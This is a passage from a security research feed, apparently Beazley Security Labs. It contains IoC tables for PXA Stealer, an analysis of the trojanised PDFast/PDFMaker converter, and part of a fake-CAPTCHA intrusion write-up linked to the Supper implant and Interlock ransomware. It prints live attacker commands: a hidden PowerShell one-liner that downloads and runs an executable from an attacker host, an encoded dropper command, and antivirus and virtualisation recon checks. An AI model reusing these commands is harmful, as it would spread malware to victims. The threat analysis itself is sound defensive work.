(archive)</p></td></tr><tr><td><p>345c59394303bb5daf1d97e0dda894ad065fedf6</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>37e4039bd2135d3253328fea0f6ff1ca60ec4050</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>3a20b574e12ffb8a55f1fb5dc91c91245a5195e8</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>3e9198e9546fa73ef93946f272093092363eb3e2</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>3f0071d64edd72d7d92571cf5e4a5e82720c5a9b</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>40795ca0880ea7418a45c66925c200edcddf939e</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>407df08aff048b7d05fd7636be3bc9baa699646d</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>44feb2d7d7eabf78a46e6cc6abdd281f993ab301</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>4528215707a923404e3ca7667b656ae50cef54ef</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>4528215707a923404e3ca7667b656ae50cef54ef</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>4607f6c04f0c4dc4ee5bb68ee297f67ccdcff189</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>48325c530f838db2d7b9e5e5abfa3ba8e9af1215</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>48d6350afa5b92958fa13c86d61be30f08a3ff0c</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>4dcf4b2d07a2ce59515ed3633386addff227f7bd</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>5246e098dc625485b467edd036d86fd363d75aae</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>540227c86887eb4460c4d59b8dea2a2dd0e575b7</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>5b60e1b7458cef383c45998204bbaac5eacbb7ee</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>612f61b2084820a1fcd5516dc74a23c1b6eaa105</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>61a0cb64ca1ba349550176ef0f874dd28eb0abfa</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>6393b23bc20c2aaa71cb4e1597ed26de48ff33e2</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>65c11e7a61ac10476ed4bfc501c27e2aea47e43a</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>6eb1902ddf85c43de791e86f5319093c46311071</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>70b0ce86afebb02e27d9190d5a4a76bae6a32da7</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>7c9266a3e7c32daa6f513b6880457723e6f14527</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>7d53e588d83a61dd92bce2b2e479143279d80dcd</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>7d53e588d83a61dd92bce2b2e479143279d80dcd</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>7e505094f608cafc9f174db49fbb170fe6e8c585</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>ae8d0595724acd66387a294465b245b4780ea264</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>b53ccd0fe75b8b36459196b666b64332f8e9e213</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>b53ccd0fe75b8b36459196b666b64332f8e9e213</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>bfed04e6da375e9ce55ad107aa96539f49899b85</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>c46613f2243c63620940cc0190a18e702375f7d7</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>c5407cc07c0b4a1ce4b8272003d5eab8cdb809bc</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>c9caba0381624dec31b2e99f9d7f431b17b94a32</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>ca6912da0dc4727ae03b8d8a5599267dfc43eee9</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>d0b137e48a093542996221ef40dc3d8d99398007</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>d1a5dff51e888325def8222fdd7a1bd613602bef</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>deace971525c2cdba9780ec49cc5dd26ac3a1f27</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>deace971525c2cdba9780ec49cc5dd26ac3a1f27</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>e27669cdf66a061c5b06fea9e4800aafdb8d4222</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>e27669cdf66a061c5b06fea9e4800aafdb8d4222</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>e9dfde8f8a44b1562bc5e77b965b915562f81202</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>f02ae732ee4aff1a629358cdc9f19b8038e72b7b</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>f02ae732ee4aff1a629358cdc9f19b8038e72b7b</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>f5793ac244f0e51ba346d32435adb8eeac25250c</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>f7bb34c2d79163120c8ab18bff76f48e51195d35</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>f8f328916a890c1b1589b522c895314a8939399c</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>f91e1231115ffe1a01a27ea9ab3e01e8fac1a24f</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>faf033dc60fed4fc4d264d9fac1d1d8d641af5e0</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>faf033dc60fed4fc4d264d9fac1d1d8d641af5e0</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>ff920aee8199733258bb2a1f8f0584ccb3be5ec6</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>3d38abc7786a1b01e06cc46a8c660f48849b2b5f</p></td><td><p>Side-loaded DLL</p></td></tr><tr><td><p>08f517d4fb4428380d01d4dd7280b62042f9e863</p></td><td><p>Encoded PDF (Archive)</p></td></tr><tr><td><p>1aa5a0e7bfb995fc2f3ba0e54b59e7877b5d8fd3</p></td><td><p>Python stealer</p></td></tr><tr><td><p>734738e7c3b9fef0fd674ea2bb8d7f3ffc80cd91</p></td><td><p>Python stealer</p></td></tr><tr><td><p>80e68d99034a9155252e2ec477e91da75ad4f868</p></td><td><p>Python stealer</p></td></tr><tr><td><p>ba56a3c404d1b4ed4c57a8240e7b53c42970a4b2</p></td><td><p>Python stealer</p></td></tr><tr><td><p>bd457c0d0a5776b43969ce28a9913261a74a4813</p></td><td><p>Python stealer</p></td></tr><tr><td><p>da210d89a797a2d84ba82e80b7a4ab73d48a07b1</p></td><td><p>Python stealer</p></td></tr><tr><td><p>dc6a62f0a174b251e0b71e62e7ded700027cc70b</p></td><td><p>Python stealer</p></td></tr><tr><td><p>533960d38e6fee7546cdea74254bccd1af8cbb65</p></td><td><p>Stage2 Python stealer</p></td></tr><tr><td><p>c5688fc4c282f9a0dc62cf738089b3076162e8c6</p></td><td><p>Stage2 Python stealer</p></td></tr><tr><td><p>c9a1ddf30c5c7e2697bc637001601dfa5435dc66</p></td><td><p>Stage2 Python stealer</p></td></tr><tr><td><p>4ab9c1565f740743a9d93ca4dd51c5d6b8b8a5b6</p></td><td><p>Browser Injection DLL</p></td></tr></tbody></table><h2>Domains</h2><table><tbody><tr><td><p>paste[.]rs</p></td><td><p>Code hosting site</p></td></tr><tr><td><p>0x0[.]st</p></td><td><p>Code hosting site</p></td></tr><tr><td><p>lp2tpju9yrz2fklj.lone-none-1807[.]workers[.]dev</p></td><td><p>Cloudflare Worker</p></td></tr></tbody></table><h2>URLs</h2><table><tbody><tr><td><p>hxxps://0x0[.]st/8nyT.py</p></td></tr><tr><td><p>hxxps://0x0[.]st/8dxc.py </p></td></tr><tr><td><p>hxxps://0x0[.]st/8GcQ.py</p></td></tr><tr><td><p>hxxps://0x0[.]st/8GpS.py</p></td></tr><tr><td><p>hxxps://0x0[.]st/8ndd.py</p></td></tr><tr><td><p>hxxps://0x0[.]st/8GcO.py</p></td></tr><tr><td><p>hxxps://0x0[.]st/8GsK[.]py</p></td></tr><tr><td><p>hxxps://paste[.]rs/yd2sV</p></td></tr><tr><td><p>hxxps://paste[.]rs/umYBi</p></td></tr><tr><td><p>hxxps://paste[.]rs/qDTxA</p></td></tr><tr><td><p>hxxps://paste[.]rs/Plk1y</p></td></tr><tr><td><p>hxxps://paste[.]rs/5DJ0P</p></td></tr><tr><td><p>hxxps://paste[.]rs/oaCzj</p></td></tr><tr><td><p>hxxps://www[.]dropbox[.]com/scl/fi/c1abtpif2e6calkzqsrbj/.dll?rlkey=9h1ar7wmsg407ngpl25xv2spt&amp;st=mp7z58v2&amp;dl=1</p></td></tr></tbody></table></div>]]></content><summary type="html">Beazley Security Labs and SentinelLabs collaborated to investigate a complex delivery &amp; execution chain leading to PXA Stealer</summary></entry><entry><title>PDFast Compromise - PDFMaker Reskin Update</title><link href="https://labs.beazley.security/articles/pdfast-compromise" rel="alternate"/><updated>2025-05-28T05:00:00.000Z</updated><published>2025-05-28T05:00:00.000Z</published><id>https://labs.beazley.security/articles/pdfast-compromise</id><content type="html"><![CDATA[<div class="rtf"><h3 class="rtf-title">Executive Summary</h3><p>Beazley Security MXDR Teams recently observed a “free Word-to-PDF converter” exhibit suspicious activity across multiple environments. While we are not the arbiters of quality, PDFast does not scream legitimacy. The software, once installed, attempted to execute an automated, unusual update routine in environments to download and drop obfuscated files and instantiate PowerShell commands to check environment configurations. For a PDF converter tool, it also appears to be very concerned whether it’s executing within a VM.</p><p>Beazley Security teams have implemented preventative measures against this threat, and Beazley Security MXDR client environments are protected.</p></div><div class="rtf"><h3 class="rtf-title"><hr class="w-full ml-auto"/></h3><h1>Update - PDFMaker Reskin</h1><p>About a month ago BSL reported on “PDFast” software that created a flurry of activity when the software unexpectedly kicked off suspicious update routines across several victim environments. While continuing to research this threat, BSL discovered a reskin of the PDFast malware called “PDFMaker”.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/5C9F1QwmUezjGy5WzmMtag/05605649aa78cf353f7a2275055e8493/pdfmaker_download.png" alt="pdfmaker download" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 1 – PDFMaker Download Lure</i></p><p>The sister software is currently made available at webfreepdf[.]com and keeps things in the PDFamily with a similar layout, purporting to process data with its PDF conversion capability.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/6b3xsrxkkRwE93A6LecRKb/995bfea63a3eea82584aa6ebc0d9fe6c/pdfMaker_reskin.png" alt="pdfMaker reskin" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 2 – PDFast to PDFMaker reskin</i></p><p>BSL looked under the hood and without surprise discovered the same structure and ‘features’ were present. Another updater, tasked to beacon home every hour could be found provisioned on installation of the PDFMaker software. Instead of the previous ‘upd.exe’ PE responsible for triggering updates within PDFast, the authors rebranded a PE named ‘PDRefresh.exe”.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/2RDyIVSzLmXbRPe1Trekcf/cad0d95a196a79fff92bed98a5ebc13b/PDFRefresh_Schedtask.png" alt="PDFRefresh Schedtask" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 3 – PDFRefresh Scheduled Task </i></p><p>Observed behavior is consistent with PDFast. When the PDRefresh PE is run, the file ‘beacons’ to an endpoint (*.pdf-maker-data[.]com/*) and receives encrypted communications back. Labs believes this is a C2 mechanism similarly constructed within PDFast infrastructure, which was eventually leveraged to trigger a prior malicious update campaign.</p><p>The sampled installer for PDFMaker appears to have been packaged Wednesday, May 14<sup>th</sup> and is signed by “KRZADROPSHIP PRIVATE LIMITED” (mrauthan1992@gmail[.]com) while domain registration information would reveal that the sister product was concieved in late 2024.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/f3A3rqqh2fXxRABmHMjpf/ff3695ea60d0da301b99e09c27b1632c/pdfmaker_signed.png" alt="pdfmaker signed" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 4 – PDFMaker Domain Registration and Signature </i></p><p>On the surface some may classify this as potentially unwanted software. BSL believes history may repeat itself, as the software could again be leveraged as a lure to drop malware in the future.</p><p>Indicators have been updated to reflect this variant in the IoCs section of this report and BSL will continue to monitor the situation.</p><h1>PDFast PDF Conversion Tool</h1><p>PDFast is a tool advertised as a PDF conversion tool. The website claims that PDFast can convert several file formats such as Microsoft Word and Excel into PDF formats. The tool also states it can convert PDF files into other editable formats such as Word and PowerPoint. PDFast can be freely downloaded from the website https[:]//pdf-fast[.]com/, as illustrated below.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/6hC7nDDQP0Akdfz3MNyiPT/28709eacb32e5a54f36c7a6ab84fafb9/pdfast_figure1_website_top.jpg" alt="pdfast figure1 website top" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 1: PDFast website</i></p><img src="//images.ctfassets.net/2nw9zhl2ydi6/44B5nIriNbcS5RNrbQV6g/b547f60a766648131e3327d1eec2baf6/pdfast_figure2_website_bottom.jpg" alt="pdfast figure2 website bottom" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 2: PDFast features as advertised on website</i></p><p>The PDFast installer is packaged as an executable that unpacks a standard MSI file. From the sample Beazley Security Labs (BSL) downloaded, the PDFast installer appears to have been built very recently, around April 8<sup>th</sup>, 2025, and is signed by “AL STARE LLC,” with an email address of fm760984@gmail[.]com. The domain hosting the PDFast installer appears to have been created last year, in May of 2024. It cannot be discounted that the domain has been purchased with forethought to lure users to download this software. </p><img src="//images.ctfassets.net/2nw9zhl2ydi6/5P8jJUIYsjibUpXQRMd6m2/c7b1d69b6b1cc854b2d4e72710fed212/pdfast_Figure3_installerInfo.jpg" alt="pdfast Figure3 installerInfo" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 3: PDFast Installer Information and domain registration</i></p><h1>Suspect Update Routine</h1><p>On investigation, Beazley Security MXDR discovered suspicious update activity from the software, specifically the updater process invoking a download of base64-encoded binary. Once downloaded, this binary is decoded, written to disk as <i>pdf.exe</i> and executed.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/3AFdXUrBJ9yklnBt62eDu1/d6e335075418c8b80970f3e3d67a7d4c/pdfast_figure4_updater_exec.jpg" alt="pdfast figure4 updater exec" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 4: PDFast Suspicious Updater Execution </i></p><p>In testing, the pdf.exe binary would not execute and unpack its files unless it was given specific parameters, including a –safetorun switch followed by –ch and -x. </p><p>Similarly, the unpacked PE file <i>system26506a16168b4007c</i> is then invoked with the similar -ch token:</p><table><tbody><tr><th><p><b>Observed Execution Commands</b></p></th></tr><tr><td><p>C:\Users\&lt;redacted>\AppData\Roaming\PDFast\upd.exe -></p><p>powershell -encodedCommand &quot;WwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAiACQAZQBuAHYAOgBUAEUATQBQAC8AcABkAGYALwBwAGQAZgAuAGUAeABlACIALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBSAGEAdwAgACIAJABlAG4AdgA6AFQARQBNAFAALwBwAGQAZgAvAGYAaQBsAGUALgBiAGkAbgAiACkAKQApAA== 

--base64 decoded-- 

[IO.File]::WriteAllBytes(&quot;$env:TEMP/pdf/pdf.exe&quot;,[Convert]::FromBase64String((Get-Content -Raw &quot;$env:TEMP/pdf/file.bin&quot;)))</p></td></tr><tr><td><p>C:\Users\&lt;redacted>\AppData\Roaming\PDFast\updater.exe /silentall -nofreqcheck -url &quot;file://C:\Users\&lt;redacted>\AppData\Local\Temp\updaterInfo.txt&quot; -nogui</p></td></tr><tr><td><p>cd $env:TEMP/pdf .\pdf.exe --safetorun --ch=e0eb4eb47fec9ccfd25dc6ed40523dce4f9da2bb -x</p></td></tr><tr><td><p>powershell.exe &quot;Start-Process -FilePath \&quot;C:\Users\&lt;redacted>\AppData\Local\Temp\system26506a16168b4007c\&quot; -NoNewWindow -ArgumentList '--</p><p>safetorun','--ch=e0eb4eb47fec9ccfd25dc6ed40523dce4f9da2bb','-x' | Wait-Process&quot;</p></td></tr></tbody></table><p>Once executed, the binary unpacks multiple files and subsequently executes recon checks on the affected system, including discovery of antivirus, firewall, and virtualization software:</p><table><tbody><tr><th><p><b>Observed Recon Commands</b></p></th></tr><tr><td><p>powershell.exe &quot;Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct&quot;</p></td></tr><tr><td><p>powershell.exe &quot;Get-CimInstance -Namespace root/SecurityCenter2 -ClassName FirewallProduct&quot;</p></td></tr><tr><td><p>C:\Windows\system32\cmd.exe /c &quot;WMIC COMPUTERSYSTEM GET HypervisorPresent&quot;</p></td></tr></tbody></table><p>It appears that the initial execution of the updater and unpackaged data is not triggered immediately on our test systems. However, we have yet to confirm the mechanism of this behavior.</p><p>BSL is continuing to reverse engineer the suspicious payload and understand intent.</p></div><div class="rtf"><h3 class="rtf-title">Conclusion</h3><p>While tricking users to download free commodity software is not a novel technique, cybercriminals will continue to use methods that work. By appealing to end users as a free tool to conveniently convert everyday documents, the method is a simple but effective way to get a foothold into both home and enterprise networks.</p></div><div class="rtf"><h3 class="rtf-title">Indicators of Compromise (IoCs)</h3><p>The following suspicious files and URLs were observed by Beazley Security MXDR teams:</p><table><tbody><tr><th><p>Indicator</p></th><th><p>Description</p></th></tr><tr><td><p>24ea4798ad48c42092e5d690f784880b25608810 </p></td><td><p>system26506a16168b4007c (pe32)</p></td></tr><tr><td><p>bfb888526a5097a76f3abe1c31f83177f6182a44</p></td><td><p>Pdf.exe</p></td></tr><tr><td><p>8950965f40f30eb40d11de71754a4fe93b098f3d</p></td><td><p>PDFast.exe</p></td></tr><tr><td><p>31E6B1BAE3793962034AB783512EABD5072BE3AE</p></td><td><p>Core.dll</p></td></tr><tr><td><p>12B4B233D3A7E475BC36BC19EA93EAF9C22635E9</p></td><td><p>PDFMaker.exe</p></td></tr><tr><td><p>E3626F240F6795D4E851E57F6E165927C20A881B</p></td><td><p>PDFRefresh.exe</p></td></tr><tr><td><p>54224876EF6F7BCBDBDE12ADC2E0247A264CA6DA</p></td><td><p>12ed364.msi</p></td></tr><tr><td><p>Webfreepdf[.]com</p></td><td><p>Domain</p></td></tr><tr><td><p>*.pdf-maker-data[.]com</p></td><td><p>Updater Domain</p></td></tr><tr><td><p>b.pdf-fast[.]com</p></td><td><p>Updater Domain</p></td></tr><tr><td><p>pdf-fast[.]com</p></td><td><p>Domain</p></td></tr><tr><td><p>searchsnfinds[.]com</p></td><td><p>Domain</p></td></tr><tr><td><p>fm760984@gmail[.]com</p></td><td><p>signer email</p></td></tr><tr><td><p>mrauthan1992@gmail[.]com</p></td><td><p>signer email</p></td></tr></tbody></table></div>]]></content><summary type="html">Updated to include discovery of PDFMaker reskin.

Beazley Security MXDR Teams recently observed a “free word to PDF converter” exhibit suspicious activity across client environments. </summary></entry><entry><title>Hunting Mice In Tunnels II - Fake CAPTCHAs and Ransomware</title><link href="https://labs.beazley.security/articles/hunting-mice-in-tunnels-ii-fake-captchas-and-ransomware" rel="alternate"/><updated>2025-04-14T07:00:00.000Z</updated><published>2025-04-14T07:00:00.000Z</published><id>https://labs.beazley.security/articles/hunting-mice-in-tunnels-ii-fake-captchas-and-ransomware</id><content type="html"><![CDATA[<div class="rtf"><h3 class="rtf-title">Executive Summary</h3><p>Late last year, Beazley Security Managed Extended Detection and Response (MXDR) identified and thwarted a threat actor within a client's environment. We previously published our initial analysis that included some of the activity and tools used by the threat actor. In this article, we detail additional findings based on our continued study of telemetry and artifacts related to this breach.</p><p>The two outstanding issues were essentially the start and end of the breach. We had found and analyzed the downloader, some of this threat actor’s tactics, techniques, and procedures (TTPs), and their follow-up tools. However, a full understanding of an incident requires knowing how the threat actors got in (commonly referred to as the “initial access vector”) and what they were ultimately trying to accomplish (exfiltrate data, deploy ransomware, sell access, etc.)</p><p>Our findings determined that initial access was part of the large wave of “fake captcha” scams that we released an <a href="https://labs.beazley.security/advisories/BSL-A1113">advisory</a> for. Beazley Security learned that law enforcement informed the targeted organization about a threat actor’s activity log found on a seized server linked to a new ransomware group. This article will provide more details on our investigation, and we also hope to convey the value of our collaborative, inter-team efforts. Information from one angle of the investigation often provided clues and guidance for other teams investigating different leads in the case and vice versa.</p><hr/><p>Beazley Security Labs would like to thank Ralph Bailey, Kelsey O'Connell, and Troy Walters from Beazley Security MDR for their investigative efforts used to describe the timeline of events in this blog post, along with their support in pulling suspicious binaries dropped as part of this attack.</p></div><div class="rtf"><h3 class="rtf-title"><hr class="w-full ml-auto"/></h3><h1>Initial Access: Fake CAPTCHA Scam</h1><p>The previous article already discusses a number of the TTPs observed during the breach. In this article, we focus more on the initial access vector and the malware implant used to perform the most invasive actions. A condensed version of the kill chain focusing on these elements is presented below:</p><h2>Kill Chain</h2><img src="//images.ctfassets.net/2nw9zhl2ydi6/1ARC0Z3A3f22X1lz9VD1XG/97d8a577d00ca3247b438ae680630d56/killchain-2.jpg" alt="Killchain" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 1: Threat Campaign Kill Chain</i></p><h2>Initial Access – Captcha Spam</h2><p>Our MXDR team did an excellent job laying out the timeline and process tree of events. They traced everything back to a PowerShell script, which downloaded a file named <code>active.exe</code> and saved it as <code>asdin2oe.exe</code>:</p><p><code>C:\windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -WindowStyle Hidden -Command &quot;$b=[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('aHR0cDovL2JlcnNhbmRhcnBpamFyLmNvbS9hY3RpdmUuZXhl')); Invoke-WebRequest -Uri $b -OutFile \&quot;$env:TMP\asdin2oe.exe\&quot;; &amp; \&quot;$env:TMP\asdin2oe.exe\&quot;&quot;</code></p><p>In the process tree, we saw a parent process of “explorer.exe”, not a traditionally suspicious parent process. When we see malicious PowerShell processes, defenders normally expect them to come from typical, malicious sources such as:</p><ul><li><p>Malicious executables</p></li><li><p>Exploited and/or compromised processes</p></li><li><p>Compromised logins</p></li></ul><p>The parent process for this script was simply <code>explorer.exe</code>, indicating that user themselves ran it. At this point, a member of our team remembered a previously reported spam campaign involving a captcha lure that tried to convince victims into copying and pasting PowerShell scripts directly into the Windows system Run window. A good article of the attack was published by <a href="https://cybernews.com/security/captcha-lumma-malware/">Cybernews</a>.</p><p>We reached out to the client and confirmed that the target user had indeed seen and followed through on a spam captcha message, similar to one from the Cybernews article. This solved the initial access mystery. Additionally, for months after this particular incident, many more examples of this captcha method were observed and reported by our DFIR team and more <a href="https://krebsonsecurity.com/2024/09/this-windows-powershell-phish-has-scary-potential/">generally across the industry</a>, prompting us to release an <a href="https://labs.beazley.security/advisories/BSL-A1113">advisory</a>.</p><h1>Stage Two Malware Payload: Supper Implant</h1><p>The other loose end to tie up was that we wanted a more complete understanding of the malware that attempted the bulk of the threat actors’ pivoting and credential theft activities.</p><p>Once the threat actors had initial access, they downloaded a whole suite of executables and files to the computer. We saw at least four similarly named folders containing various software libraries and media files. We observed one of the processes installing CrossTec, a third-party remote administration tool. Interestingly, most of these files and programs were not used during the breach. The one exception was the Dormouse installer detailed in our previous <a href="https://labs.beazley.security/articles/hunting-mice-in-tunnels">blog</a> post, including the second-stage payload it downloaded and installed, which we will describe here.</p><p>This second-stage payload is a heavily obfuscated DLL that has extensive anti-analysis and anti-debug functionality built into it. At one point during dynamic analysis, the following string was decoded to memory:</p><p><code>{&quot;iptarget&quot;: &quot;%d.%d.%d.%d&quot;, &quot;domain&quot;: &quot;%s&quot;, &quot;pcname&quot;: &quot;%s&quot;, &quot;runas&quot;: %d, &quot;typef&quot;: %d, &quot;veros&quot;: %d}</code></p><p>This was an excellent indicator to try pivoting searches from, which eventually led us to <a href="https://x.com/nembo81pr/status/1841390890167775551">this tweet</a> from a malware analyst named <a href="https://x.com/nembo81pr">@Simo</a>. It appears that this particular piece of malware has been seen before, and antivirus companies have dubbed it “Supper.” We downloaded these other samples and read through the little bit of public reporting to confirm and verify they match the behaviors seen in our sample.</p><p>Supper is a very small implant with minimal functionality. Its main purpose is to provide threat actors with command line access to a victim (enabling “hands on keyboard” activity). When analyzed in a sandbox, it can be observed dropping a temporary file with a hardcoded file name:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/7bFVY2a1ATbLnehoOpbpw8/cdfc0763566e69f7c0320e174e388c88/tmpfile.jpg" alt="temp file" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 2: Hardcoded filename</i></p><p>This filename is easily changed, so while it might not be useful as a detection, searching for it in repositories like VirusTotal can provide a rough outline of the campaign using this version of the Supper implant. In this case, searching on this filename returned thirteen other samples seen in use from September through December (the samples we discovered are included in the IOC section).</p><p>Another important finding when looking through our sample was a set of three hardcoded callback IPs:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/1fXGnIkMltEF9954UfW7ck/b70853d65b9d3ea784a39e023fbc640f/IPs.jpg" alt="IPs" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 3: Hardcoded C2</i></p><p>Although threat actors can easily transition away from the IP addresses found in this sample (like the filename mentioned above), investigating threat actor infrastructure can often uncover more tooling or additional linked infrastructure related to this specific campaign. Below is a search result of one of those IPs in VirusTotal, showing nine similarly named executables that communicate with it:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/6TjmzXv5GjELSIBJ6Xp9km/a3c6edc632e9ba51a4d33b0d671ee6d0/related.jpg" alt="related" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 4: Highly similar samples, likely from the same campaign</i></p><p>These results are meaningful in that all the “communicating files” for this IP are similarly named and have “first seen” timestamps close together. Working off the reasonable assumption that these samples are from the same campaign, we can then look at the submission country and get a rough idea of the campaign scope. In this case, it included potential targets in India, Canada, Germany, Netherlands, France, and the US.</p><p>As previously mentioned, the main function of this malware appears to be to provide the threat actors with a foothold on the system. It will connect back to the threat actor and enable them to run commands directly via <code>cmd.exe</code> or accept a DLL file and run it via runDLL. Here is a call tree for CreateProcess that graphs out that functionality:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/xtGEdAQkdNV6YtF6C5v77/bfbc100dc324472fd7d20ec54f4e52fe/procGraph.jpg" alt="procedure graph" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 5: CreateProcessA Call Graph</i></p><p>A competent threat actor will not need much more than this, as evidenced by the attempted commands in our previous blog post demonstrating them extracting the SAM hive. Any further tooling, pivoting, or follow-up activity can then be uploaded and executed via Supper.</p><h1>Endgame: Interlock Ransomware</h1><p>Thankfully in our case, our MXDR solution detected the activity and enabled our MDR team to respond and contain the attempt attack. Only one bit of useful information was left out: what were the threat actors trying to do? Normal cybercriminal operations would never stop at just one machine. They would have pivoted to as many machines as possible, and then likely sell access, exfiltrate data for extortion, or deploy ransomware. When we searched around for the indicators we had, no information on end result came up. So, we temporarily put a pin in this and continued to monitor for potentially similarly activity.</p><p>Beazley Security learned from law enforcement that a threat actor’s activity log found on a seized server is linked to a new ransomware group. This allowed our team to confirm the activity was associated with the emerging ransomware group, Interlock. </p></div><div class="rtf"><h3 class="rtf-title">Conclusion</h3><p>Cybercriminals continue to maximize financial gain. If an attack vector is simple but effective, it will quickly be operationalized and widely abused. This is illustrated by the fake CAPTCHA scam technique, which emerged last year and continues to lead to Incident Response cases handled by Beazley Security, including several this month. This method remains so successful that threat actors are <a href="https://x.com/anyrun_app/status/1907404638216716342">evolving the technique</a>.</p><h1>Sources</h1><ul><li><p><a href="https://labs.beazley.security/advisories/BSL-A1113">Uptick in Fake Captcha Campaigns Tricking Users to Deliver Malware</a></p></li><li><p><a href="https://cybernews.com/security/captcha-lumma-malware/">Think twice before you click: this captcha might steal your money</a></p></li><li><p><a href="https://krebsonsecurity.com/2024/09/this-windows-powershell-phish-has-scary-potential/">This Windows PowerShell Phish Has Scary Potential</a></p></li><li><p><a href="https://x.com/nembo81pr/status/1841390890167775551">Simo tweet on Supper malware</a></p></li><li><p><a href="https://x.com/anyrun_app/status/1907404638216716342">AnyRun tweet on fake CAPTCHA attacks</a></p></li></ul></div><div class="rtf"><h3 class="rtf-title">Indicators of Compromise (IoCs)</h3><table><tbody><tr><th><p>Indicator</p></th><th><p>Description</p></th></tr><tr><td><p><code>216.245.184.170</code></p><p><code>212.104.133.72</code></p><p><code>216.245.184.170</code></p></td><td><p>Supper 